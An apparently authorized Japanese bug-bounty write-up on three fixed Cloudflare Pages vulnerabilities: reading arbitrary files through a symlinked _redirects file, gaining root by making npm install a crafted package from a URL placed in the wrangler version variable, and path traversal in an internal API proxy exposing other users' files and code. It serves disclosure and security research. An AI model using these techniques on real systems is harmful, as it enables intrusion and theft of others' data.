You can read about these vulnerabilities in English at https://ec0.io/post/hacking-cloudflare-pages-part-2/
Cloudflareは、HackerOne上で脆弱性報奨金制度(Bug Bounty)を実施しており、脆弱性の診断行為を許可しています。
本記事は、当該制度を通して報告された脆弱性をCloudflareセキュリティチームの許可を得た上で公開しているものであり、無許可の脆弱性診断行為を推奨することを意図したものではありません。
また、Cloudflareは脆弱性調査において他の研究者との協力を許可しており、脆弱性調査を目的とした他の研究者との脆弱性情報の共有が許可されています。
Cloudflareが提供する製品に脆弱性を発見した場合は、Cloudflareの脆弱性報奨金制度へ報告してください。
なお、本記事が執筆されたのは2022年であり、公開時点での内容と一部異なる可能性が存在します。
James Hebden氏とSean Yeoh氏の二名と協力し、Cloudflare Pagesに複数の脆弱性を発見した。
これらの脆弱性により、Cloudflare Pagesのビルド環境でroot権限を得ることや、Cloudflare PagesのFunctions機能を用いてデプロイされたスクリプトの窃取、Cloudflare Pages上で構築された他人のページを改竄することなどが可能だった。
Cloudflare Pagesは、Cloudflareが提供するJAMstackプラットフォームであり、主に静的なサイトをホストするために使用される。
本脆弱性を報告した時点でベータ版だった機能を利用することでCloudflare Workersと連携し、サーバーサイドのコードを実行することもできる。
セキュリティ関連の情報を集めている際にCloudflare Pages, part 1: The fellowship of the secretという記事を見かけた。
この記事の内容が非常に面白かったため、自分もCloudflare Pagesに脆弱性を見つけたいと思い、調査をすることにした。
Cloudflare Pagesは、ユーザーの指定したコマンドを使用して静的サイトを生成する機能を提供している。
上記のブログで解説されているように、このコマンドが実行される環境はKubernetes内に存在しており、更にビルドを実行するのはかなり権限の絞られたbuildbot
ユーザーである。
そのため、調査をする際に役に立つ情報1が得られない状況から調査を開始する必要がある。
前述の記事のようなコンテナエスケープか、それに類する脆弱性を探したいと考えていたため、まず初めに現在の限られた状況から抜け出す方法を探すことにした。
上記のプロセス一覧からわかるように、ユーザーが指定したコマンドを実行するプロセスは、/opt/pages/build_tool/main.py
(以下build_tool
)がsudo
によって権限を落としたプロセスとなっている。build_tool
自体はroot権限で実行されていたため、build_tool
の脆弱性を利用して権限昇格ができないかを確かめようとしたが、現在の権限ではbuild_tool
のファイルを読み取る事ができなかった。
そこで、まずはbuild_tool
の内容を読み取ることを目標とした。
ユーザーが指定したコマンドによって生成されたファイルは、コマンド実行後に何らかの方法によって読み取られ、Cloudflareのネットワーク上にデプロイされる。
後続の処理はrootによって実行されているプロセスで行われているため、ファイルの読み取りはrootによって行われているのではないかと推測した。
そこで、ビルド済みのファイルの代わりにシンボリックリンクを置いておくことで、システム上の任意のファイルを読み出せるのでは、と考えた。
試しにindex.htmlをシンボリックリンクに置き換え、/etc/shadow
の内容を読み取ろうとしたが、デプロイされたウェブサイトにはindex.htmlは含まれておらず、単純にシンボリックリンクを置くだけでは効果がなさそうであるということが伺えた。
そこで、Cloudflare Pagesの機能に関して詳しく調べていたところ、Redirects
という機能を見つけた。
この機能は、ウェブサイト内に_redirects
というファイルを含めておくことにより、リダイレクトルールをカスタマイズできるというもので、このファイルはユーザーが指定したコマンドが実行されたあとにパースされているようだった。
通常のファイル群とは違いウェブサイト上に公開されるわけではないため、ファイルをパースする際の処理に差異があるのではないかと思い、このファイルをシンボリックリンクに置き換えたところ、デプロイ実行後にbuildbot
ユーザーの権限からは読み取れない/etc/shadow
の内容をダッシュボード上から読み取ることができた。
任意のファイルをビルド環境から読み出す方法を見つけた時点で21時近くになっており、脆弱性調査に使える時間は約1日ほどしか残っていなかった。2
一人で権限昇格を見つけ、更にそこから脆弱性を探すのは現実的ではないように思えたため、記事冒頭で言及した記事の著者2人にコラボレーションを持ちかけることにした。
すぐにJames氏から返信があり、3人で協力して脆弱性を探すことになった。
James氏からの返信があった後、Sean氏が来るまで2人で権限昇格の方法を探すことにした。
前述の任意のファイル読み取りの脆弱性を使い、build_tool
のコードをダウンロードした後、コードを読んで脆弱性を探したのだが、James氏やSean氏が以前見つけたような単純なコマンドインジェクションは存在しなさそうに見えた。
しばらく二人で雑談しながらコードを眺めていた際に、以下のコードに目が止まった。
version = [env_var['value'] for env_var in env_vars if env_var['key'] == 'PAGES_WRANGLER_VERSION'][0]
print_line(f'Overriding wrangler version to {version}...', logs)
subprocess.run(['npm', 'install', f'wrangler@{version}'], cwd=WRANGLER_DIR, check=True, capture_output=True)
print_line('wrangler version override complete!', logs)
このコードは、ユーザーが指定したPAGES_WRANGLER_VERSION
という環境変数を元に、wranglerのバージョンをnpm install
を用いて変更している。PAGES_WRANGLER_VERSION
に@
を含む文字列を入れるなど、何らかの方法でwrangler以外のパッケージをインストールさせることができるのではないかとひらめいたため、npmのコードを読むことにした。
npmのコードを読んだ結果、npm install
はpackage.json
等と同様に、バージョンを指定する箇所にURLを指定することで、npmのレジストリからではなく指定されたURLからtarballをダウンロードするということがわかった。3
例えば、npm install wrangler@https://example.com/example.tgz
というコマンドを実行した場合、wranglerのhttps://example.com/example.tgz
というバージョンのインストールを試みる代わりに、https://example.com/example.tgz
からtarballをダウンロードし、それをwranglerとして扱う。
後続の処理で、以下のようにインストールしたwranglerを実行している箇所があり、この処理はroot権限で実行されているbuild_tool
上で実行されるものであったため、細工したwranglerをインストールして実行させることでroot権限の奪取が可能となっていた。
cmd = [
'./node_modules/.bin/wrangler2',
'pages',
'functions',
'build',
"--outfile",
constants.OUTPUT_WORKER_PATH,
"--output-config-path",
constants.USER_WORKER_DERIVED_CONFIG_PATH,
'--build-output-directory',
output_dir,
functions_dir
]
with subprocess.Popen(cmd, **plinko_args) as proc:
これを利用することで、ビルド環境上でroot権限を得て追加調査を行うことができるようになった。
root権限を得ることに成功した時点で日付を跨いでしまっていたため、一旦寝て、次の日に備えることにした。
翌朝目覚めると、Sean氏が参加していたため3人で調査を再開した。
基本方針として、「他のユーザーのデータにアクセスできる脆弱性を見つける」という目標を立て、脆弱性を調査することにした。
ビルド環境の隅々まで調査し、コンテナエスケープができないかを確認していったが、コンテナエスケープに使えそうな脆弱性は見つからなかった。
そのため方針を変え、ビルド環境からCloudflareのネットワークに対して、ビルドしたサイトをデプロイする際の処理に脆弱性がないかを確認することにした。
デプロイ処理に関して調べるためにbuild_tool
を読み進めていくと、wrkr
という名前の実行可能ファイルが関係しているということが判明した。
このプログラムはRustで書かれており、以下のような形でbuild_tool
から実行される。
# Configure api proxy through the maestro
os.environ['CF_API_HOST'] = config['MAESTRO_HOST']
os.environ['CF_API_TOKEN'] = config['JWT']
os.environ['CF_ACCOUNT_ID'] = config['CF_ACCOUNT_ID']
[...]
# WRKR (ASSET UPLOADER)
upload_args = {
'account_tag': config['CF_ACCOUNT_ID'],
'asset_namespace': config['ASSET_NAMESPACE'],
'asset_dir': asset_dir,
'asset_manifest_namespace': config['MANIFEST_NAMESPACE'],
'asset_manifest_key': config['MANIFEST_KEY'],
}
cmd = ['./wrkr']
[...]
lines = filter_logs(util.run_cmd(cmd, cwd=constants.WRKR_DIR))
上記のコードからわかる通り、wrkr
は、CF_API_HOST
という環境変数を設定することで、接続先を切り替えることができる。
元々の接続先であるapi.pages.cloudflare.com
の代わりに、自前で建てたリバースプロキシを指定することで、通信内容の確認を試みた。
その結果として、以下のような流れでデプロイされていることがわかった。
上記のリバースプロキシを用いて、api.pages.cloudflare.com上にあるAPIエンドポイントを調べた結果、以下のようなエンドポイントが使われていることがわかった:
/client/v4/accounts/d6fa5e8917ff81a61c1f92fc98b9f85d/storage/kv/namespaces/db62b722715546c9af0cedbd574c9a47/bulk
/client/v4/accounts/d6fa5e8917ff81a61c1f92fc98b9f85d/storage/kv/namespaces/db62b722715546c9af0cedbd574c9a47/keys
/client/v4/accounts/d6fa5e8917ff81a61c1f92fc98b9f85d/storage/kv/namespaces/332a39fcd8a845d7909d2d5d753604d8/values/builds/5486590/logs
これらのパスからわかるように、このAPIはapi.cloudflare.comに対してリクエストを転送し、そのレスポンスを返している。
そのため、このAPIへのリクエスト時に付与されているJWTを用いてapi.cloudflare.com
に対してリクエストを送信してみたが、無効なトークンとして扱われてしまい、レスポンスを受け取ることができなかった。
また、ここで使用されているもの以外のエンドポイントに関してリクエストを試みたが、こちらも失敗に終わった。どうやら、このAPIプロキシは使用できるAPIエンドポイントを制限しているようだった。
このような調査を行っている最中に、現在調査を行っている3人共同じアカウントID(d6fa5e8917ff81a61c1f92fc98b9f85d
)が割り振られていることに気がついた。
詳しく確認したところ、前述の通り使用されているアカウントは全ユーザーで共通だったのだが、使用されているKVの名前空間2つの内、1つはデプロイのたびに変わるようになっていた。
そのため、他のユーザーの名前空間にアクセスできないか試みたのだが、JWTによる識別が行われているようで、失敗に終わった。
また、全デプロイで共通な名前空間に関しては、デプロイ毎に固有なデプロイIDを用いたキーベースのアクセス制限が行われており、こちらも他のユーザーのデータにアクセスすることはできなかった。
その後、Sean氏のアイディアでパストラバーサルによるAPI制限の回避を試みることにした。
いくつかのパターンを試したが、パストラバーサルを行うことはできず、パストラバーサルは無理そうだ、という雰囲気になっていた。
これ以上のアイディアはなかったことと、ここで諦めたくないという思いからAPIをいじり回している際に、唐突に他のユーザーの名前空間一覧が表示された。
どうやら、全デプロイで共通な名前空間に対するリクエスト関しては厳格なパスのチェックが行われていたのだが、デプロイ毎に作成される名前空間に対するリクエストに関しては、パスのチェックが甘かったようで、パスの末尾に..%2F..%2F..%2F
といったような文字列を付けることで、アクセスされることが想定されていないapi.cloudflare.com上の任意のAPIに対してリクエストを送ることができた。
影響を調査するために様々なAPIを叩いて確認したところ、このAPIプロキシによって使用されているAPIキーの権限はCloudflare WorkersのKV関連に制限されているようだった。
それでも、今までデプロイされた全てのPagesの静的ファイル、Pages上で使用されているCloudflare Workersのコード、ビルド時のログなどが取得可能だった他、他人のファイルをアップロードされた直後に書き換えることで、デプロイされる内容の改竄などができたはずである。
今回の記事では、複数の研究者と協力してCloudflare Pagesに脆弱性を探した一連の流れを解説しました。
記事の冒頭で触れたように、既に複数の脆弱性がCloudflare Pages上で発見され修正されている状態でしたが、それでも尚深刻度が高い脆弱性を見つけることができたことから、既にテストされているサービスにおいても脆弱性が存在する可能性があるということをおわかりいただけると思います。
本記事に関する質問/感想はTwitter(@ryotkak)までお願いいたします。
この調査に協力してくださったJames Hebden氏とSean Yeoh氏に改めて感謝申し上げます。ありがとうございました。
日付 (日本時間) | 出来事 |
---|---|
2022/05/14 | 任意のファイル読み取り発見 |
2022/05/14 | 協力依頼を送信 |
2022/05/15 | 権限昇格を発見 |
2022/05/15 | Pagesの内部APIにおけるパストラバーサルを発見 |
2022/05/15 | Cloudflareにこれら3つの脆弱性を報告 |
2022/05/17 | 内部APIにおけるパストラバーサルが修正される |
2022/06/07 | ビルド環境における任意ファイル読み取りが修正される |
2022/06/08 | ビルド環境における権限昇格が修正される |
2023/12/22 | 開示許可が出る |
2023/12/23 | 本記事の公開 |